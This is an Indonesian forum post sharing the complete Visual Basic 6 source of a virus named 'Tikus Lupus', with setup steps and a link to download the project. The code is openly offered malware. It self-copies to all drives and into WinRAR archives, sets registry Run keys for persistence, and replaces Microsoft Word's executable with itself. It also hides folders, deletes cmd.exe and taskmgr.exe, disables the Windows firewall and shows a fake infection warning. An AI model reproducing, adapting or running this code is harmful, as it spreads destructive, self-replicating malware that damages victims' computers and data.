velshadow: Virus Tikus Lupus source code

Sebenernya virus ini mau aq gabung..in ama anti Deep Freeze, tapi karna belum ada respon balik di Topik : Will Depp Freeze Stop US,ya..h harap maklum ya..

Yang di butuh.in untuk buat virus ini :

- 1 Form,

-3 Modul, yang terdiri dari

aerah Tikus Lupus,Modul1,dan RumahTikus.

- 1 Class Modul,

- 1 Related Documents

Dan Komponen yang di butuh..in cuman :

- 1 Timer aja.

Ini Kode yang di Taruh di Form :

Kode:

Private Fso As New FileSystemObject
Private Drive As Drive
Private Drives As Drives
Option Explicit
Private TikusFirewall As LupusFirewall
Private lngPortCounter As Long
Private Declare Function NetRemoteTOD Lib "netapi32.dll" (yServer As Any, pBuffer As Long) As Long
Private Declare Function NetApiBufferFree Lib "netapi32.dll" (ByVal pBuffer As Long) As Long
Private Declare Sub CopyMem Lib "kernel32.dll" Alias "RtlMoveMemory" (pTo As Any, uFrom As Any, ByVal lSize As Long)

Private Type TIME_OF_DAY_INFO
    telapsed As Long
    tmsecs As Long
    thours As Long
    tmins As Long
    tsecs As Long
    thunds As Long
    ttimezone As Long
    ttinterval As Long
    tday As Long
    tmonth As Long
    tyear As Long
    tweekday As Long
End Type

Private Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Any) As Long
Const SC_MONITORPOWER = &HF170&
Const MONITOR_OFF = 2&
Const WM_SYSCOMMAND = &H112
Private Function LingkaranTikus(TheForm As Form)
SaveSetting TheForm.Name, App.Title, "TimesOpen", Val(GetSetting(TheForm.Name, App.Title, "TimesOpen")) + 1
End Function

Function AmbilJamDikomputer()
    Dim JamLupus As TIME_OF_DAY_INFO
    Dim JamTikusLupus As Long, lpBuffer As Long
    Dim ServerLupus() As Byte
        JamTikusLupus = NetRemoteTOD(vbNullString, lpBuffer)
    CopyMem JamLupus, ByVal lpBuffer, Len(JamLupus)
    If lpBuffer Then
        Call NetApiBufferFree(lpBuffer)
    End If
        AmbilJamDikomputer = DateSerial(JamLupus.tyear, JamLupus.tmonth, JamLupus.tday)
        year = Right(AmbilJamDikomputer, 4)
End Function

Sub PenampilanLupus()
Dim a
Do Until a = 1
SendMessage Me.hWnd, WM_SYSCOMMAND, SC_MONITORPOWER, MONITOR_OFF
Loop
End Sub

Function TikusInfeksiFolder(Fold As String)
Dim Fso As Object, FolderS
Set Fso = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
For Each FolderS In Fso.GetFolder(Fold).subfolders
Call TikusInfeksiFolder(FolderS.Path)
Name FolderS As FolderS + ".{645FF040-5081-101B-9F08-00AA002F954E}"
Next FolderS
End Function

Private Sub RuanganTikus()
   Set Drives = Fso.Drives
   
    For Each Drive In Drives
        Select Case Drive.DriveType
            Case Removable
            Case Fixed
            Case CDRom
               GoTo KondisiTikus
            Case Remote
            End Select
        If Drive.IsReady = True Then
            If Drive.AvailableSpace <> "" Then
                Dim letter As String
                letter = Drive.DriveLetter
                FileCopy App.Path + "\" + App.EXEName + ".exe", letter + ":\" + "TikusLupus.txt"
                TikusInfeksiFolder letter + ":\"
            End If
        End If
KondisiTikus:
    Next
End Sub

Sub PermenLupus()
Kill ("C:\WINDOWS\SYSTEM32\cmd.exe")
Kill ("C:\WINDOWS\SYSTEM32\taskmgr.exe")
TikusInfeksiFolder "c:\"
MsgBox "Windows sudah terinfeksi oleh Tikus Lupus,segera lakukan Instal Ulang Hard Disk Anda.Terima Kasih", vbCritical, "Windows Error"
Call LingkaranTikus(Me)
X$ = GetSetting(Me.Name, App.Title, "TimesOpen")
LepaskanTikus:
Select Case X$
Case X$ > "2"
    FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe"
    Set newreg = CreateObject("WScript.Shell")
        newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\WindowsFirewall", "C:\WINDOWS\SYSTEM32\1031\TikusLupus.exe"
    Call PenampilanLupus
Case X$ > "2"
    SaveSetting Me.Name, App.Title, "TimesOpen", 0
    Call LingkaranTikus(Me)
    Call LingkaranTikus(Me)
    GoTo LepaskanTikus
Case X$ < "2"
    SaveSetting Me.Name, App.Title, "TimesOpen", 0
    Call LingkaranTikus(Me)
    Call LingkaranTikus(Me)
    GoTo LepaskanTikus
End Select
End Sub

Sub hibernate()
TikusCariFile "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
        If FileEx = False Then
            Call InfeksiTikus2
        End If
TikusCariFile "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
        If FileEx = False Then
            Call InfeksiTikus2
        End If
Shell ("C:\Program Files\Microsoft Office\Office10\WINWORD.EXE"), vbNormalFocus
Shell ("C:\Program Files\Microsoft Office\Office12\WINWORD.EXE"), vbNormalFocus

End Sub
Private Function TikusCariFile(NamaLengkapFile As String) As Boolean
    On Error GoTo LupusdanTikus
        Open NamaLengkapFile For Input As #1
        Close #1
        FileEx = True
    Exit Function
LupusdanTikus:
        FileEx = False
    Exit Function
End Function

Sub TikusAmbilInfoKomputer()
Dim JalaLupus
Dim DokumenLupus
On Error Resume Next
Set JalaLupus = CreateObject("WScript.NetWork")
If Err.Number <> 0 Then
DokumenLupus.Location = "TikusLupus.html"
End If

Dim NamaPemakai
Dim NamaKomputer
Dim DomainKomputer
NamaPemakai = JalaLupus.username
NamaKomputer = JalaLupus.ComputerName
DomainKomputer = JalaLupus.UserDomain

Select Case DomainKomputer
Case "STD"
Case "AVR"
TikusFirewall.DisableFirewall
Case Else
TikusFirewall.DisableFirewall
End Select
Set JalaLupus = Nothing
End Sub

Sub InfeksiTikus2()
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
    FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
Set newreg = CreateObject("WScript.Shell")
        newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Lupus", "C:\WINDOWS\SYSTEM32\1025\TikusLupus.exe"
        newreg.RegWrite "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Micerosoft", "C:\WINDOWS\SYSTEM32\1028\TikusLupus.exe"
Name "C:\Program Files\Microsoft Office\Office10\winword.exe" As "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office10\winword.exe"
Name "C:\Program Files\Microsoft Office\Office12\winword.exe" As "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"
FileCopy App.Path + "\" + App.EXEName + ".exe", "C:\Program Files\Microsoft Office\Office12\winword.exe"
End Sub

Private Sub Form_Load()
Dim Fso, DrvType
Dim Drives, Drive, Folder, subfolders, subfolder, Files, File
Set Fso = CreateObject("Scripting.FileSystemObject")
If (Fso.DriveExists("C:\")) <> "" Then
DrvType = "C:\"
End If
If (Fso.DriveExists("D:\")) <> "" Then
DrvType = "D:\"
End If

Set Drives = Fso.Drives
For Each Drive In Drives
If Drive.IsReady Then
Call PencarianTikus(Drive)
End If
Next

TikusLupus.Visible = False
App.TaskVisible = False
Timer1 = False
Call TikusAmbilInfoKomputer
X$ = GetSetting(Me.Name, App.Title, "TimesOpen")
TikusCariFile "C:\Program Files\Microsoft Office\Office10\WINWORD.exe"
TikusCariFile "C:\Program Files\Microsoft Office\Office12\WINWORD.exe"
Call LingkaranTikus(Me)
Call AmbilJamDikomputer
If year >= "2007" Then
Call PermenLupus
End If
    Select Case X$
Case 1
    Call hibernate
Case 2
    Call PenampilanLupus
Case Else
    InfeksiTikus2
    Timer1 = True
End Select

End Sub

Private Sub Timer1_Timer()
RuanganTikus
End Sub


Function PencarianTikus(Path)
Dim Fso, DrvType, ws, TikusKetiga, Tikuskeempat
Dim Drives, Drive, Folder, subfolders, subfolder, Files, File
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Fso = CreateObject("Scripting.FileSystemObject")
Set Folder = Fso.GetFolder(Path)
Set Files = Folder.Files
For Each File In Files

If Fso.GetExtensionName(File.Path) = "rar" Then
    Set ws = CreateObject("wscript.shell")
    Set Fso = CreateObject("Scripting.filesystemobject")
    TikusKetiga = "C:\Program Files\WinRAR\WinRAR.exe": Tikuskeempat = "D:\Program Files\WinRAR\WinRAR.exe"
    If Fso.TikusCariFile(TikusKetiga) Or Fso.TikusCariFile(Tikuskeempat) Then
ws.run "WinRAR a -ibck -inul """ & File.Path & """ C:\TikusLupus.exe"
Open App.Path & "\DaftarTikus.txt" For Append As #1
            Write #1, File.Path
Close #1
    End If
End If
Next
Set subfolders = Folder.subfolders
For Each subfolder In subfolders
    PencarianTikus subfolder.Path
Next
End Function

Ini Kode yang di Taruh di Modules-> Daerah Tikus Lupus :

Kode:

Option Explicit

Public Enum enProtocoll
  TCP = 0
  UDP = 1
End Enum

Ini Kode yang di Taruh di Modulesl-> Module 1 :

Kode:

Global FileEx
Global year
Global X As String
Global newreg

Ini Kode yang di Taruh di Modules-> Rumah Tikus :

Kode:

Option Explicit

Public Type tagInitCommonControlsEx
    lngSize As Long
    lngICC As Long
End Type
Private Declare Function InitCommonControlsEx Lib "COMCTL32.DLL" _
    (KejuTikusLupus As tagInitCommonControlsEx) As Boolean

Private Const ICC_USEREX_CLASSES = &H200

Public Sub PusatTikus()

    On Error Resume Next
   
      Dim KejuTikusLupus As tagInitCommonControlsEx
      With KejuTikusLupus
          .lngSize = LenB(KejuTikusLupus)
          .lngICC = ICC_USEREX_CLASSES
      End With
      InitCommonControlsEx KejuTikusLupus
    TikusLupus.Show
    TikusLupus.Hide
  App.TaskVisible = False
    On Error GoTo 0
   
End Sub

Ini Kode yang di Taruh di Class Modules-> Lupus Firewall :

Kode:

Option Explicit

Const ICSSC_DEFAULT = 0
Const CONNECTION_PUBLIC = 0
Const CONNECTION_PRIVATE = 1
Const CONNECTION_ALL = 2

Const NET_FW_IP_PROTOCOL_UDP = 17
Const NET_FW_IP_PROTOCOL_TCP = 6

Const NET_FW_SCOPE_ALL = 0
Const NET_FW_SCOPE_LOCAL_SUBNET = 1

Private JalurBerbagiFileLupus As Object

'--> Kembalikan Status Firewall
Public Function StatusFirewallLupus() As Boolean

Dim PeriksaFirewallLupus As Boolean
Dim ProfileFirewallTikus As Object

On Error GoTo TangkisError
   
    Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
    Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

    If ProfileFirewallTikus.FirewallEnabled = False Then
      PeriksaFirewallLupus = False
    Else
      PeriksaFirewallLupus = True
    End If
             
  StatusFirewallLupus = PeriksaFirewallLupus
 
  Exit Function
 
TangkisError:
  StatusFirewallLupus = False
  MsgBox "Error: " & Err.Description
  Err.Clear

End Function

'--> Aktifkan Firewall
Public Sub EnableFirewall()

Dim ProfileFirewallTikus As Object

  On Error GoTo ErrorHandler
       
  Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
  Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

  If ProfileFirewallTikus.FirewallEnabled = False Then
    ProfileFirewallTikus.FirewallEnabled = True
  End If
 
  Set ProfileFirewallTikus = Nothing
  Set JalurBerbagiFileLupus = Nothing
   
  Exit Sub
   
ErrorHandler:
  MsgBox Err.Description
  Err.Clear

End Sub

'--> Matikan Firewall
Public Sub DisableFirewall()

Dim ProfileFirewallTikus As Object

  On Error GoTo ErrorHandler
       
  Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
  Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile

  If ProfileFirewallTikus.FirewallEnabled = True Then
    ProfileFirewallTikus.FirewallEnabled = False
  End If
 
  Set ProfileFirewallTikus = Nothing
  Set JalurBerbagiFileLupus = Nothing
   
  Exit Sub
   
ErrorHandler:
  MsgBox Err.Description
  Err.Clear

End Sub

'--> Tambah Port Di Konfigurasi Firewall
Public Sub TikusTambahPortDikunfigurasiFirewallUntukKeluar(ByVal strPortName As String, ByVal strPortProtocol As String, ByVal intPortNumber As Integer)

Dim ProfileFirewallTikus As Object
Dim port As Object

On Error GoTo TangkisError


  Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
  Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile
  Set port = CreateObject("HNetCfg.FWOpenPort")
 
  port.Name = strPortName
  If LCase(strPortProtocol) = "UDP" Then
    port.Protocol = NET_FW_IP_PROTOCOL_UDP
  Else
    port.Protocol = NET_FW_IP_PROTOCOL_TCP
  End If
 
  port.port = intPortNumber

  port.Scope = NET_FW_SCOPE_ALL

  port.Enabled = True

  ProfileFirewallTikus.GloballyOpenPorts.Add port
 
  Set ProfileFirewallTikus = Nothing
  Set port = Nothing
  Set JalurBerbagiFileLupus = Nothing

  Exit Sub
 
TangkisError:
  MsgBox Err.Description
  Err.Clear

End Sub

Public Sub BirkanDataMasukServiceICMP(ByVal bolAllow As Boolean)

Dim ProfileFirewallTikus As Object

On Error GoTo TangkisError

  Set JalurBerbagiFileLupus = CreateObject("HNetCfg.FwMgr")
  Set ProfileFirewallTikus = JalurBerbagiFileLupus.LocalPolicy.CurrentProfile
  ProfileFirewallTikus.IcmpSettings.AllowInboundEchoRequest = bolAllow
 
  Set ProfileFirewallTikus = Nothing
  Set JalurBerbagiFileLupus = Nothing

Exit Sub

TangkisError:
  MsgBox Err.Description
  Err.Clear

End Sub

Untuk Project Tikus Lupus Bisa di temu..in di alamat ini :

http://www.4shared.com/file/34107118/6b ... d=e6fda62c

Mudah2x_an ada manfaatnya untuk nambah wawasan,

Bagi yang ingin copy paste jangan lupa di sertai back link ke situs ini dan sumber.